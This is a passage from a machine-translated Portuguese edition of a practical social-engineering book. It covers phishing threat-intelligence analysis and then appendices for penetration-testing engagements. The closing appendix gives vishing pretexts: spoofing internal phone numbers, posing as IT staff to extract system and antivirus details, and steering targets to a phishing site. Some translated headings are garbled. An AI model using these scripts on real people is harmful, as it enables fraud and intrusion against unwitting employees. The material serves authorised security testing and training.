inspeção da origem do e-mail, que o e-mail listado é do remetente, não é necessário verificá-lo
novamente. Mas você precisa verificar os domínios e endereços IP. Para conseguir isso, vamos
fazer um pouco de OSINT.
Você precisa determinar o seguinte: Quem é o proprietário de cada domínio e endereço
IP? O domínio e o endereço IP servem a um propósito legítimo? O proprietário do domínio tem
algum controle sobre os dados passados por seus serviços? Os endereços IP pertencem a
provedores de e-mail? Ou nós possuímos o domínio ou endereço IP?

Os possíveis IOCs na Figura 12-7 não são peças valiosas de informações sobre ameaças
ligence, portanto, se o OTX não, você precisará excluí-los. Você fará isso mais tarde no
processo, para evitar analisá-los duas vezes.

Figura 12-7: Indicadores excluídos

Agora, você passa para a lista de IOCs excluídos. Você repete o processo usado para
os IOCs incluídos para cada item na lista de IOCs excluídos. De cara, você pode dizer que
alguns deles não pertencem à lista de indicadores.
Dessa extração, vá em frente e remova o seguinte: três endereços óbvios da
Microsoft (by5pr19mb3713.namprd19.prod.outlook.com,
by5pr19mb3970.namprd19.prod.outlook.com e nam12-mw2-obe.outbound.protection.outlook.
com); dois endereços óbvios do Google (mail-sor-f41.google.com e mx.google.com); uma série
de endereços GoDaddy (p3plibsmtp01-08.prod.phx3.
secureserver.net, p3plsmtp21-01-26.prod.phx3.secureserver.net e p3plsmtp21-01.
prod.phx3.secureserver.net); e 10.186.134.206, que é um endereço IP interno Classe A,
privado, não roteável.

Testando um domínio potencialmente malicioso no Burp


A OTX alega que docsend.com é um domínio na lista de permissões, mas permite que os
usuários façam upload de arquivos. Isso significa que é prudente ir em frente e verificar o que
o remetente está tentando coagir as vítimas a abrir. No mundo forense digital e malware, isso
faz parte do que é conhecido como detonação. Detonar pode ser perigoso se você estiver em
um sistema desprotegido, pois pode ser infectado. Eu recomendo usar um sistema dedicado
para isso ou, no mínimo, uma máquina virtual dedicada.

172 Capítulo 12
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Além de uma máquina virtual, recomendo garantir que você tenha proteção contra
malware instalada (se aplicável), um firewall ativado no nível do host e da rede, o uso de
uma VPN e (se estiver familiarizado com isso), o navegador Tor (ou Brave - que oferece uma
funcionalidade semelhante), embora você tenha que selecionar Abrir uma nova janela
privada com o Tor. Você pode se ver lidando com algumas coisas desagradáveis e não quer
se ver do lado errado da lei ao tentar conduzir uma pesquisa de segurança legítima.

Abra sua máquina virtual em um sistema separado e segmento de rede


do que sua rede principal, com um firewall e um dispositivo de segurança em execução
entre o sistema e o restante do laboratório doméstico e da rede. Dependendo do nível de
análise que pretende realizar, você pode optar por usar uma máquina virtual Linux ou
Windows. Se você quiser ter uma boa noção de como o ataque deve funcionar, talvez queira
usar um sistema Windows vulnerável.

Instale o Burp Suite no seu host. Burp é um proxy da web que permite interceptar
e alterar os dados transmitidos entre você e o site. Isso permitirá que você veja as
chamadas feitas do seu sistema para o site e as respostas. Você também pode controlar
quaisquer pop-ups e muitas ações não intencionais, como redirecionamentos para sites
maliciosos. Para instalar o Burp, baixe uma cópia da Community Edition gratuita em https://
portswigger.net/ burp/ communitydownload.
Isso incluirá um script semelhante a burpsuite_community_linux_v<#>_#_##.sh.
Insira a versão mais recente nos comandos mostrados aqui:

chmod 744 burpsuite_community_linux_v<#>_#_##.sh


./burpsuite_community_linux_v<#>_#_##.sh

Depois de instalado, você pode usar a GUI para abrir o Burp clicando no ícone Burp
ou digitando Burp no menu do sistema operacional. Burp solicitará que você crie um projeto.
Clique em Avançar e você deverá aceitar as configurações padrão do Burp ou carregar um
arquivo de configuração. Ficar com os padrões deve ser bom.

Em seguida, você deve rotear o tráfego do seu navegador através do Burp. Para fazer
isso, abra o Firefox, clique no ícone Menu e role até o final. Clique em Configurações de
rede. Você deve ser solicitado a inserir informações sobre seu proxy, conforme mostrado na
Figura 12-8. Selecione Configuração de proxy manual e insira o endereço IP 127.0.0.1 como
Proxy HTTP e 8080 como Porta.
Selecione a opção de usar este servidor proxy para todos os protocolos.

Produzindo Inteligência de Ameaças 173


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Figura 12-8: Configurando um proxy de rede no Firefox

Agora que você tem o Burp instalado e o Firefox configurado para rotear seu
tráfego através do Burp, abra o Burp e verifique se ele está configurado para interceptar
o tráfego. Para fazer isso, selecione a guia Proxy e, em seguida, Interceptar. Por fim,
certifique-se de que o Intercept esteja ativado, conforme mostrado na Figura 12-9.

Figura 12-9: Garantindo que o Burp esteja configurado para interceptar o tráfego

174 Capítulo 12
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Depois de verificar se o Burp está configurado corretamente, você pode usá-lo para
interceptar o tráfego do seu navegador. Enquanto o Intercept estiver ativado, você precisará
escolher se deseja encaminhar ou descartar cada solicitação da web. Isso significa que
você pode descartar tráfego malicioso (ou legítimo) em vez de enviá-lo para o seu navegador.
Agora, vamos visitar o site encontrado no e-mail. Ao encaminhá-lo usando o Burp,
um documento que se parece com um PDF é carregado. Isso afirma ser do Office 365, mas
na Figura 12-10, você deve identificar facilmente que não é legítimo: observe o inglês
quebrado e os espaços incorretos em Jonathan Shea (jshea@plac erprocess.com) enviou
um arquivo, clique no botão abaixo para visualizar o documento.

Figura 12-10: exemplo de página inicial de phishing

Não deve haver um espaço entre placerprocess.com e o parêntese de fechamento.


Além disso, o inglês adequado usaria has em vez de have na frase sobre o arquivo.
Finalmente, se a Microsoft realmente tivesse enviado isso para alguém de forma
automatizada, a palavra Click provavelmente seria click, ou a vírgula seria um ponto,
dependendo do idioma que o fornecedor real
usa.
Vamos passar o mouse sobre o link e ver para onde ele tenta nos enviar. O local de
redirecionamento do link é https:// invoicepayapp.page.link/ naxz. Se você tentar abrir esse
link no sistema sandbox (o sistema isolado ou a máquina virtual discutida anteriormente
neste capítulo), o host deverá ser desconhecido. E como você pode ver na barra de URL
mostrada na Figura 12.11, Burp indica que a URL é um redirecionamento para https://
nohumanmark.xyz/ js/ sharepoint/ sharepoint/ sharepoint/ index.php.

Produzindo Inteligência de Ameaças 175


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Figura 12-11: Redirecionamento de phishing quebrado

Observe a URL e os três níveis repetitivos de diretórios do sharepoint . Este link


provavelmente tentou imitar o serviço legítimo do SharePoint da Microsoft para tentar obter
credenciais ou fazer com que a vítima baixe uma “ferramenta” que é realmente um malware. Embora
o link esteja quebrado, você ainda deve adicioná-lo ao pulso OTX, além da URL para a qual ele
redireciona (https:// invoicepayapp.
página.link/ naxz), pois é indicativo de comportamento de risco. Para adicioná-los, copie e cole o
URL no OTX. Em seguida, para adicionar o URL docsend.com , marque a caixa ao lado dele e clique
em Incluir.

Antes de prosseguir, adicione os quatro endereços IP que identificamos como irrelevantes


aos indicadores excluídos marcando as caixas ao lado deles e clicando em Excluir.

Analisando arquivos para download

Esta campanha de phishing não incluiu nenhum arquivo para download. Mas e se isso acontecesse?
Vamos discutir brevemente analisá-los. Para começar, você precisará obter hashes criptográficos
desses arquivos. Ter os hashes criptográficos dos arquivos permite que você compare os arquivos
em estados conhecidos com outras versões para ver se algo mudou. Quando um arquivo é criado
(ou no caso de malware, observado), você obtém um hash criptográfico do arquivo para ajudá-lo a
pesquisá-lo mais rapidamente. Você compara os hashes de arquivos em seus sistemas com o
arquivo ruim conhecido (no caso de malware) e alerta sobre qualquer correspondência. Em alguns
casos, o arquivo muda sozinho e, portanto, o hash não permanecerá o mesmo. Chamamos isso de
malware polimórfico e é uma discussão para um livro completamente diferente.

Você pode hash um arquivo usando uma variedade de ferramentas. Alguns, como os seguintes,
já vem instalado no Linux. Às vezes, vale a pena inserir vários tipos de hash, porque alguns
sistemas verificam os arquivos usando apenas um algoritmo.

176 Capítulo 12
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Para produzir um hash MD5 do arquivo, digite o seguinte comando:

nome do arquivo md5sum

Para produzir um hash SHA-1 do arquivo, insira isto:

nome do arquivo sha1sum

Para produzir um hash SHA-256 do arquivo, insira isto:

nome do arquivo sha256sum

Para produzir um hash SHA-512 do arquivo, insira isto:

nome do arquivo sha512sum

Em seguida, adicione cada hash ao OTX. Se você optar por escrever este incidente
e publicar um relatório, você pode importar o pulso do URL e listar o
URL como um recurso.
Nas seções a seguir, analisaremos mais detalhadamente o nohumanmark.xyz
domínio.

Conduzindo OSINT para Inteligência de Ameaças

OTX não é o único recurso que você pode usar para analisar links ou e-mails maliciosos.
Nesta seção, exploraremos alguns outros. Você pode reconhecer algumas dessas ferramentas
e técnicas dos capítulos OSINT deste livro. Aqui, você usará esses recursos para descobrir se
um site é prejudicial.

Pesquisa VirusTotal
Um site de propriedade da Chronicle Security, https:// www.virustotal.com/, permite que
pesquisadores e profissionais de inteligência de ameaças analisem se um arquivo está listado
como malicioso em mais de 60 plataformas antivírus sem ter que comprar cada uma delas. Ele
também permite que você verifique o status de qualquer URL.
O VirusTotal também possui uma API para análise com script. Sua função de pesquisa GUI
baseada na web aceita os seguintes tipos de entrada: o arquivo real carregado, uma URL, um
endereço IP, um domínio ou um hash de arquivo.

Identificação de sites maliciosos no WHOIS


Você executou o comando WHOIS ao coletar OSINT. Mas ao usar o WHOIS para analisar
malware, você deve procurar informações adicionais.
Notavelmente, além das informações habituais do WHOIS, você deseja ver o país onde um
domínio está registrado e seu número de sistema autônomo (ASN). O ASN ajudará mais
tarde quando você usar o PhishTank para analisar os sistemas dos quais o e-mail de
phishing se origina. A Figura 12-12 mostra o registro WHOIS para o domínio aparentemente
incompleto nohumanmark.xyz.

Produzindo Inteligência de Ameaças 177


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Figura 12-12: Registro WHOIS de nohumanmark.xyz

Você pode ver que o domínio foi registrado no Paquistão há 8 dias e


que usa servidores de nomes hospedados por seoservicegroup.top. Por sua vez,
a realização de uma pesquisa WHOIS de seoservicegroup.top mostra que ele existe
há apenas 43 dias. Domínios jovens como este garantem ceticismo e análise, pois
muitos são maliciosos. Um domínio com 8 dias e servidores de nomes com 43 dias não
são automaticamente considerados ruins, mas requerem análises adicionais. Nesse
caso, você deve incluir os dois domínios e quaisquer endereços IP relacionados em
seu pulso OTX.
O que mostraria o registro WHOIS de um site legítimo? Para comparação, a
Figura 12-13 é a saída WHOIS para nostarch.com.
Primeiro observe que o país registrante é o Panamá. Isso é comum quando
as organizações usam serviços como WhoisGuard ou privacidade de domínio para
ocultar sua localização, e isso não é motivo imediato para alarme ou análise mais
aprofundada. Se você revisar a data, verá que este domínio foi criado em 1996 e inclui
um site registrado e ativo.
Em segundo lugar, o ASN está listado como Cloudflare. O uso do Cloudflare indica
que o site provavelmente não é malicioso, pois as redes de distribuição de conteúdo
geralmente removem qualquer coisa que verifiquem ser prejudicial. Também vemos
que esse domínio teve três alterações em quatro servidores de nomes em 16 anos.
Isso é normal e normalmente é indicativo de mudança de provedor. A tecnologia mudou
muito desde 1996, então faz sentido trocar de provedores e registros para implementar
novas tecnologias.

178 Capítulo 12
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Figura 12-13: registro WHOIS do NoStarch

Descobrindo Phishes com PhishTank


PhishTank (https:// phishtank.com/) é uma plataforma gratuita de verificação de
phishing operada pela OpenDNS. Ele permite pesquisar por domínio, URL ou ASN.
Na minha experiência, pesquisar por ASN é o mais eficiente. Mas como você não
tem um ASN para o domínio potencialmente malicioso nohumanmark.xyz , você
precisará pesquisar por domínio e URL. A Figura 12-14 mostra essa pesquisa.

Figura 12-14: Pesquisa do PhishTank para nohumanmark.xyz phish

Produzindo Inteligência de Ameaças 179


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Como você pode ver na Figura 12.15, a pesquisa não retorna nada. Isso não
significa que não é uma tentativa de phishing, apenas que ninguém a denunciou.

Figura 12-15: Um phish válido em PhishTank.com

Como o site está fora do ar, farei a denúncia, mas não enviarei
o relatório. Para iniciar o relatório, clique em Adicionar ao tanque? link abaixo da
declaração que diz que nada é conhecido. Em seguida, insira a URL do phish.
Neste caso, você precisará colar o corpo do e-mail em três relatórios para o Tanque
(caso esteja enviando) para associar os três domínios utilizados. Você também
seleciona a Microsoft como a organização mencionada no e-mail, já que afirma ser do
Office 365. Depois de concluído, clique em Enviar.

A Figura 12-16 é um exemplo de inserção das informações associadas ao


phishing no PhishTank para inclusão em seu banco de dados.

Ameaça de Navegação Multidão

Parte da AT&T Cybersecurity, ThreatCrowd (https:// www.threatcrowd.org/)


fornece visualização sobre a legitimidade de domínios, endereços IP e outros
detalhes como hashes. Assim como no OTX e em outras plataformas, você pode
acessá-lo independentemente ou por meio de links no ThreatMiner (discutido na
próxima seção). A Figura 12-17 mostra a visualização do domínio nohumanmark.xyz .

180 Capítulo 12
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Figura 12-16: Enviando uma amostra de phishing para o PhishTank

Figura 12-17: Visualização do ThreatCrowd para nohumanmark.xyz

Produzindo Inteligência de Ameaças 181


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Nesta visualização, você pode ver como vários sistemas, hashes, domínios e outros
recursos interagem com nosso sistema de interesse. Isso pode ser muito útil ao criar um
programa de inteligência de ameaças cibernéticas ou mergulhar profundamente em um
adversário em potencial. A saída gráfica também cria alguns artefatos excelentes ao escrever
relatórios.

Consolidando informações no ThreatMiner


ThreatMiner (https:// www.threatminer.org/) obtém uma entrada e puxa de várias outras
fontes de inteligência de ameaças para produzir uma visão de painel único do que outras
plataformas estão dizendo. O ThreatMiner permite que você tenha uma ideia do nível de
possibilidade de malícia rapidamente. Como qualquer outra coisa, não é uma solução perfeita,
mas é uma das melhores, principalmente por ser gratuita.
O site do ThreatMiner permite pesquisar indicadores ou notas APT. O APT Notes é
um repositório de artigos e blogs disponíveis publicamente, classificados por ano e
relacionados a campanhas, atividades ou software maliciosos associados a grupos ou
conjuntos de ferramentas ou grupos de ameaças persistentes avançadas definidos pelo
fornecedor. Como você já tem alguns indicadores, vamos procurá-los primeiro. Como o OTX,
o ThreatMiner pode processar uma variedade de tipos de indicadores, alguns dos quais
diferem do OTX. Eles incluem domínios, endereços IP, hashes (MD5, SHA-1 e SHA-256),
endereço de e-mail, APT Notes, certificados SSL/TLS, agentes de usuário, nomes de
antivírus, nomes de arquivos, URIs, chaves de registro e mutexes.
A Figura 12-18 mostra uma pesquisa por nohumanmark.xyz.

Figura 12-18: Resultados do ThreatMiner para nohumanmark.xyz

182 Capítulo 12
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Aqui está um dos recursos exclusivos do ThreatMiner: ele abre um painel no


lado esquerdo da tela que mostra resultados de pesquisa do Google possivelmente
relacionados. Lá, você deve ver os dados WHOIS do indicador enviado, se for o caso.
Mais abaixo na tela, você verá links para outros recursos, como RiskIQ, PassiveTotal,
VirusTotal, DomainTools, ThreatCrowd, OTX, SecurityTrails e Robtex.
Abaixo dos recursos relacionados, você notará que não há Notas APT para o
domínio. Também não há nenhum DNS passivo relacionado, subdomínios, URL
associado, Robtex ou amostras de malware relacionadas. Dado que o e-mail de
phishing que você analisou é antigo e o domínio foi registrado recentemente, isso
faz sentido. Para um indicador mais maduro ou um domínio que não foi retirado,
espere ver mais informações aqui.
Agora, se o ThreatMiner pesquisa todos esses sites para você, por que
esperei até o final para mostrar seus recursos? Para ajudá-lo a entender como
realizar a análise sozinho. Quando estou realizando análises de inteligência de
ameaças em e-mails de phishing, geralmente começo com duas janelas abertas:
OTX e ThreatMiner. Para usar as informações que o ThreatMiner identifica como
relacionadas, basta clicar no link.

Conclusão
A inteligência de ameaças é mais do que óleo de cobra e mais do que apenas
consumir feeds de fornecedores. Ele permite que você analise suas próprias
experiências e colete inteligência de ameaças acionável que não apenas ajuda você,
mas pode ajudar seus clientes, parceiros e a comunidade como um todo. Ao longo
deste capítulo, você consumiu e produziu inteligência sobre ameaças usando OTX e
depois fez a transição para usos defensivos de WHOIS, ThreatCrowd, ThreatMiner,
VirusTotal e muito mais. Este deve ser o início de seus esforços de inteligência de
ameaças. Ainda assim, é uma base sólida para você ser capaz de ver além do hype
do fornecedor, bem como produzir materiais de alta qualidade para aumentar a
segurança da sua organização.

Produzindo Inteligência de Ameaças 183


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

UMA

PLANILHA DE ESCOPO

Use a planilha a seguir ao se reunir com


clientes durante a fase de definição do
escopo do contrato.
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Organização Alvo

Ponto de contato da organização

Título

Operações solicitadas? (Circule conforme apropriado.) OSINT, phishing, vishing, no local, físico, isca, mergulho no lixo

Linha do tempo de desempenho

Horas orçadas

Avaliar

Estimativa cotada

186 Apêndice A
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Jurídico

Artigo S/N
Certifique-se de que o contrato e a SOW mencionem a
empresa e todos os testadores como viáveis.

Certifique-se de que a apólice de seguro contra erros e omissões


esteja atualizada e atenda aos requisitos do contrato do cliente.

Certifique-se de que a parte que autoriza a contratação tenha


autoridade para fazê-lo.

O advogado revisou o SOW e o contrato?

Dimensionamento e Desempenho

Artigo Resposta
Phishing: o cliente fornecerá endereços de e-mail para atacar?

Vishing: O cliente fornecerá números de telefone para atacar?

Phishing: quantos e-mails devem ser enviados?

Vishing: Quantas chamadas devem ser feitas?

O cliente tem um pretexto predeterminado para usar?

Algum pretexto específico está fora dos limites?

O cliente tem endereços IP específicos ou endereços de e-mail


que são desejados como fontes?

O cliente tem endereços IP específicos ou endereços de e-mail


que estão fora dos limites como fontes?

O cliente deseja algum dos itens a seguir? (Circule todos os que Obter acesso ao sistema, métricas de cliques, queda de malware,
se aplicam.) coleta de credenciais

Planilha de Escopo 187


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Cronometragem

Artigo Resposta

Existem períodos de bloqueio específicos para


contato via telefone ou e-mail (dos participantes do
trabalho, não da gestão do trabalho)

Há algum dia específico da semana ou do mês a ser


evitado?

Qual é a data de início?

Qual é a data final?

188 Apêndice A
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

B
MODELO DE RELATÓRIO

Use este modelo como meio de escrever um


OSINT profissional ou relatório de engenharia
social. Sinta-se à vontade para adicionar ou omitir
seções, embora eu recomende tentar ficar o mais
próximo possível disso. Obviamente, inclua phishing ou vishing
apenas se estiver fazendo isso como parte do engajamento.

<DATA>
Introdução
<Nome do cliente> contratou <você ou sua empresa> para realizar um teste de
segurança da informação para incluir (incluir tudo o que for relevante) phishing,
vishing, dumpster dump, coleta de inteligência de código aberto, baiting, teste de
segurança física e <outros em -escopo testes>. As datas de apresentação foram
de <Start Date> a <End Date>.
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Sumário executivo
A equipe realizou os seguintes testes <da introdução> contra <nome do cliente>.
Os seguintes resultados foram observados:

• <Descobrimento 1 (interpretado como um significado que transmite risco comercial)>

• <Descobrimento 2 (interpretado como um significado que transmite risco comercial)>

• <Descobrimento 3 (interpretado como um significado que transmite risco comercial)>

Os seguintes resultados foram imediatamente descobertos pela equipe:

• <Resultado positivo 1 (ou seja, detecção)>

• <Resultado positivo 2 (ou seja, relatórios)>

• <Resultado negativo 1 (ou seja, informações confidenciais encontradas)>

• <Resultado negativo 2 (ou seja, descobriu outro invasor dentro)>

O nível de risco avaliado para <Nome do cliente> é <BAIXO | MODERADO | ALTO


| CRÍTICA>. (Observação: NEGRITO o nível de risco e coloque tudo em letras maiúsculas.)

Declaração de trabalho
Use esta seção para explicar o que é o trabalho. Muitas vezes, isso é melhor realizado copiando e colando
toda ou parte da declaração de trabalho real no contrato. Isso é para reiterar o que foi pedido à sua equipe e por
que você fez o que fez.

Alcance
O escopo do envolvimento de engenharia social, incluindo OSINT, phishing e vishing entre <nome do cliente> e
<você ou sua empresa> inclui <horas de OSINT>, phishing para incluir <número de cenários> cenários de <até>
| <não menos que> <número de e-mails> a serem enviados durante <período de engajamento (dias e horários)>,
e vishing para incluir <número de cenários> cenários de <até> | <não menos que> <número de ligações> a
serem feitas durante <período de engajamento (dias e horários)>.

Os seguintes itens estão explicitamente no escopo:

<itens no escopo>

Os seguintes itens estão explicitamente fora do escopo:

<itens fora do escopo>

Data de conclusão
Todo o trabalho deve ser concluído até <data>, com um relatório final e uma reunião de esclarecimento ou
convocação a serem fornecidos dentro de 10 dias úteis a partir da data de conclusão.

Local de Trabalho
<Local ou locais de trabalho>
<O trabalho de endereços IP será executado a partir de>

190 Apêndice B
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Sobre <Nome da empresa>


<Nome da empresa> é uma empresa do <setor da empresa> com sede em <Cidade>, <Estado ou
País> e de propriedade de <proprietários; se negociado publicamente, mencione também negociado
sob o símbolo xxx>. <Informações mais específicas sobre a empresa>.

<Quaisquer fusões e/ ou aquisições>


A empresa tem vários locais físicos. Os sites estão nos seguintes locais:

<Local 1>
<Local 2>

<A empresa visada> instituiu um formato de endereço de e-mail padrão de


nome.sobrenome@<domínio da empresa>.

Ferramentas e Metodologias
Fale sobre quais ferramentas você usou e como analisou o que encontrou. Não se aprofunde muito no que
você realmente encontrou ainda.

Métricas

É aqui que você faz um certo nível de análise matemática ou numérica para ajudar o cliente a entender
como as descobertas se somam e onde melhorar. Não precisa ser muito complicado, mas fornecer
proporções, porcentagens ou até tabelas ou gráficos pode ser incrivelmente valioso e fará com que o cliente
o contrate novamente.

Phishing

Abra a distância do relatório

A hora do primeiro relatório menos a hora da primeira abertura

Proporção de relatórios abertos

O número de vezes que o e-mail foi reportado dividido pelo número de aberturas

Clique em relatar distância

A hora do primeiro relatório menos a hora do primeiro clique

Taxa de relatórios de cliques

O número de vezes relatado dividido pelo número de cliques

Taxa de entrada

O número de vezes que as informações são inseridas (em um formulário, por exemplo) dividido
pelo número de cliques

Modelo de Relatório 191


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Proporção do relatório de entrada

O número de vezes que as informações são inseridas dividido pelo número de relatórios

Razão de validade

O número de entradas de credenciais válidas dividido pelo número de entradas de credenciais

Proporção comprometida

O número de usuários com dados em Have I Been Pwned que inseriram informações dividido pelo

número de usuários que inseriram informações

Distância corretiva aberta

A hora em que a ação corretiva ocorre menos a hora da primeira abertura

Clique em distância corretiva

A hora em que a ação corretiva ocorre menos a hora do primeiro clique

vishing

Distância de relatório de resposta

A hora do primeiro relatório menos a hora da primeira chamada telefônica atendida

Proporção de relatório de resposta

O número de chamadas relatadas dividido pelo número de chamadas telefônicas atendidas

Taxa de solicitação

O número de vezes que a informação é fornecida quando solicitada em uma chamada dividido pelo
número de chamadas

Proporção de relatório de solicitação

O número de vezes que a informação é fornecida quando solicitada em uma chamada dividido pelo
número de relatórios

192 Apêndice B
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Descobertas

Chave de gravidade

Alto

Esses riscos podem causar paralisações dispendiosas ou graves, danos ou interrupção das
operações. A barreira à entrada para exploração e impacto é baixa.
Esses riscos têm alto impacto e podem envolver dados sensíveis ou dados regulados, embora
em menor quantidade do que os riscos críticos.

Médio

Esses itens podem causar alguma interrupção ou problemas na organização do cliente,


mas sem grandes interrupções. Eles podem envolver o acesso a sistemas que podem ser
usados para girar para outros sistemas ou instalações. Isso pode envolver dados não públicos
que não são particularmente confidenciais.

Baixo

Esses itens representam pouco risco para o cliente. Eles podem ter dependências marginais,
como acesso físico local, ou exigir que outro vetor de exploração já tenha sido realizado. Esses
riscos envolvem interrupção mínima se forem bem-sucedidos.

Informativo

Estes não representam nenhum risco atual, mas não aderem às melhores práticas ou podem se
tornar arriscados mais tarde.

<Descobertas em ordem de criticidade do mais alto (crítico) ao mais baixo (informativo)>.


Os resultados devem incluir as seguintes subseções:

Discussão
O que você encontrou.

Problema
Por que é um problema.

Validação
Saídas de ferramentas e/ ou capturas de tela para provar que é um problema.

Resultados potenciais
O que poderia acontecer (seja realista).

Mitigação ou Remediação
Como resolver o problema. Cite quaisquer padrões aplicáveis da indústria.

Modelo de Relatório 193


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Recomendações
Como o cliente pode melhorar e evitar outros ataques de phishing bem-sucedidos.

Conclusão
Resuma todo o relatório.

Números de telefone descobertos


555-867-5309
555-903-7684

Sites Descobertos
empresa.tld1
empresa.tld2
correio.empresa.tld1

E-mails descobertos
John.doe@company.tld1
Jdoe@company.tld1

Ativos de alto valor descobertos


CEO: John Doe
COO: Jane Smith

Pretextos Usados

Liste os pretextos usados para phishing e vishing.

194 Apêndice B
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

C
OBTENDO INFORMAÇÕES
PLANILHA

Use este documento como um roteiro para


coletar informações OSINT ou para orientar
seus compromissos de vishing. Esta não é uma
lista abrangente e deve ser vista como um ponto de
partida para o seu engajamento.
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Físico Resposta

Qual é/são a(s) localização(ões) da organização?

Tem cercas?

Tem portões?

Os portões possuem funcionários?

Os guardas estão armados?

Com que facilidade alguém pode acessar o lixo?

Que tipo de crachás os funcionários têm?

Você precisa apresentar algo além do crachá para entrada (ou


seja, PIN ou impressão digital)?

Os crachás têm fotos?

Alguma câmera ou sistema de segurança pode ser encontrado usando


ferramentas de mapeamento?

A organização possui algum sistema CCTV em Shodan?

Técnico Resposta

Quais domínios o alvo possui?

Quais subdomínios estão incluídos no domínio?

Você pode encontrar alguma instância de webmail?

Você consegue encontrar a VPN ou o portal de acesso remoto?

Com base no site de carreira, quais tecnologias são


usadas?

Com base no LinkedIn, Indeed e outras plataformas, quais


tecnologias são usadas?

Você pode enumerar os sistemas operacionais?

Usando o metacrawler Recon-ng, quais arquivos são


encontrados? Qualquer OSINT com relação a usuários,
nomes de usuário, software e tecnologias?

196 Apêndice C
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Técnico Resposta
Você consegue encontrar sinais de uso de rede sem fio (WiGLE.net,
LinkedIn e páginas de carreiras)?

Algum de seus dispositivos voltados para o público tem algum CVE


excelente?

Você pode encontrar menção de qualquer tecnologia de nuvem como


Azure, GCP ou AWS?

Você pode encontrar qualquer menção de qualquer serviço gerenciado


ou provedores de segurança?

É possível verificar sua proteção contra malware (antivírus ou detecção


e resposta de endpoint)?

Eles têm entradas SPF, DKIM e DMARC no DNS?

Mais alguma coisa interessante no DNS?

Empresa Resposta

Qual é a sintaxe do e-mail?

Usando o WikiLeaker, você pode encontrar alguma indicação de que


o alvo está no WikiLeaks?

Quem são os executivos seniores?

Quem são os profissionais de relações públicas?

As pessoas se vestem de uma certa maneira?

Os funcionários são obrigados a usar algum equipamento de proteção


individual (EPI)?

Fornecedores e pretextos Resposta

Quem é o provedor de nuvem?

Quem é o fornecedor do antivírus?

Quem atende seu HVAC?

Quem atende suas lixeiras?

Quem faz a manutenção de seus elevadores?

Planilha de Coleta de Informações 197


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Pessoas Resposta
OSINT Enumerou as pessoas mencionadas
nos documentos do site (metacrawler e buscas
no Google)?

Você enumerou os executivos (registros da Bloomberg


e da SEC)?

Você estabeleceu os endereços de e-mail dos


funcionários?

Você enumerou números de telefone?

Você encontrou a lista telefônica da empresa? Use


sobrenomes comuns para enumerar ainda mais.

198 Apêndice C
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

D
AMOSTRA DE PRETEXTO

Este é um conjunto de pretextos de engenharia social


que usei no passado e achei bem-sucedido. Sinta-se
à vontade para usá-los ou modificá-los para atender às
suas necessidades. Eu encorajo você a construir sobre
estes, mantendo-se ético. Eu adoraria que você compartilhasse
algumas de suas modificações ou as suas próprias. Se você
estiver interessado, sinta-se à vontade para entrar em contato.

Funcionário confuso
Mantém o pretexto de funcionário desajeitado, desta vez confuso com o serviço de
alimentação da empresa e ligando para o RH para pedir ajuda. Ligue usando um
número interno falsificado (provavelmente um número de fax para evitar confusão se
o tar get tentar retornar a ligação).
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Agora, pergunte sobre o serviço de alimentação com perguntas como estas:

• Como aparecem nos extratos do cartão de crédito? Quem fatura?


• Você tem sido tão útil; Por quanto tempo você trabalhou aqui?
• Quem é o seu gerente? Eu quero te fazer um elogio.
• A URL para pedidos carrega outro site, <seu site de phishing aqui>; posso
você confere?

Em seguida, diga que você está no final do intervalo e precisa marcar o ponto com urgência
de volta ao trabalho.

Inventário de TI
Depois de falsificar um número de TI interno, faça um inventário dos ativos da empresa.
Explique que a empresa tem uma auditoria futura e você precisa garantir que suas
informações estejam corretas. Comece perguntando quando a pessoa começou na empresa
e se gostou. Pergunte sobre a programação deles. Então pergunte o seguinte:

• Existem logotipos ou números no verso do crachá?


• Eles usam um laptop ou desktop?
• Que tipo de telefone está na mesa?
• Qual é a marca e o modelo do computador?
• Qual sistema operacional eles usam?
• Qual service pack e versão são usados?
• O que eles usam como cliente de e-mail?
• Quais navegadores eles usam?
• Eles podem acessar redes sem fio?
• Quais redes?

• Qual antivírus eles instalaram?


• Algum site está bloqueado?

Anote todos os sites bloqueados e diga a eles que você está


implantação de uma política de segurança. Se eles não souberem de nenhum site
bloqueado, peça-lhes que acessem o Facebook e o eBay. Você dirá ao usuário para ir
para <seu site de phishing aqui>. Para encerrar a ligação, receba um “e-mail urgente” e
desconecte.
Você pode fazer essas mesmas perguntas usando alguns outros pretextos também. Por
